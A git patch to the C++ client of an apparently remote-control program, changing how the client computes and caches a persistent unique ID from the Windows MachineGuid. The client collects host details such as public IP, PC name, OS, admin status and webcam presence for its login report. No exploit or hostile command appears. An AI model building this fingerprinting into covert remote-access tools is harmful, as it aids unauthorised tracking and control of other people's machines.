From 5a20355547b41adbb654d1981eb84a8d47cf26e9 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 6 Jun 2026 14:54:42 +0200 Subject: [PATCH] Improve: AuthKernel use the machine id as client identify id --- client/ClientDll.cpp | 2 +- client/LoginServer.cpp | 40 ++++++++++++++++++++++++---------------- client/LoginServer.h | 4 +++- 3 files changed, 28 insertions(+), 18 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index bb39e8d..14182d5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -599,7 +599,7 @@ DWORD WINAPI StartClient(LPVOID lParam) SAFE_DELETE(Manager); //准备第一波数据 - LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate); + LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel); Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); Manager->SetClientApp(&app); diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 2ae90c0..952bcf0 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -247,7 +247,7 @@ uint64_t CalcalateID(const std::vector& clientInfo) // HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID, // 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。 // 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。 -static std::string GetMachineGuidWindows() +std::string GetMachineGuidWindows() { HKEY hKey = NULL; // KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。 @@ -283,9 +283,9 @@ static std::string NormalizeExePathLower(const char* path) // - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。 // - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。 // - 一台机两份程序在不同目录 → ID 不同。 -uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath) +uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth) { - std::string s = machineGuid + "|" + normalizedPath; + std::string s = isAuth ? machineGuid : machineGuid + "|" + normalizedPath; return XXH64(s.c_str(), s.length(), 0); } @@ -313,7 +313,7 @@ BOOL IsAuthKernel(std::string &str) { return isAuthKernel; } -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate) +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate, bool isAuth) { std::string str = expiredDate; iniFile cfg(CLIENT_PATH); @@ -394,19 +394,27 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string LoginInfor.AddReserved(IsRunningAsAdmin()); char cpuInfo[32]; sprintf(cpuInfo, "%dMHz", dwCPUMHz); - // V2 ID 算法:MachineGuid + 归一化路径 - // - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移) - // - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库 - // MachineGuid 读取失败的极端情况退化到老算法,保兼容。 - std::string machineGuid = GetMachineGuidWindows(); - if (!machineGuid.empty()) { - conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf)); - } else { - Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n"); - conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); + std::string clientID = cfg.GetStr("settings", "client_id"); + if (clientID.empty()) { + // V2 ID 算法:MachineGuid + 归一化路径 + // - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移) + // - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库 + // MachineGuid 读取失败的极端情况退化到老算法,保兼容。 + std::string machineGuid = GetMachineGuidWindows(); + if (!machineGuid.empty()) { + conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth); + } else { + Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n"); + conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); + } + cfg.SetStr("settings", "client_id", std::to_string(conn.clientID)); + clientID = std::to_string(conn.clientID); + Mprintf("初始化此客户端的唯一标识为: %s\n", clientID.c_str()); + } + else { + conn.clientID = std::stoull(clientID); + Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); } - auto clientID = std::to_string(conn.clientID); - Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); char reservedInfo[64]; int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN); int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN); diff --git a/client/LoginServer.h b/client/LoginServer.h index 6818246..fee4fc9 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,7 +5,9 @@ #pragma comment(lib,"Vfw32.lib") +std::string GetMachineGuidWindows(); +uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false); BOOL IsAuthKernel(std::string& str); -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate); +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth); DWORD CPUClockMHz(); BOOL WebCamIsExist();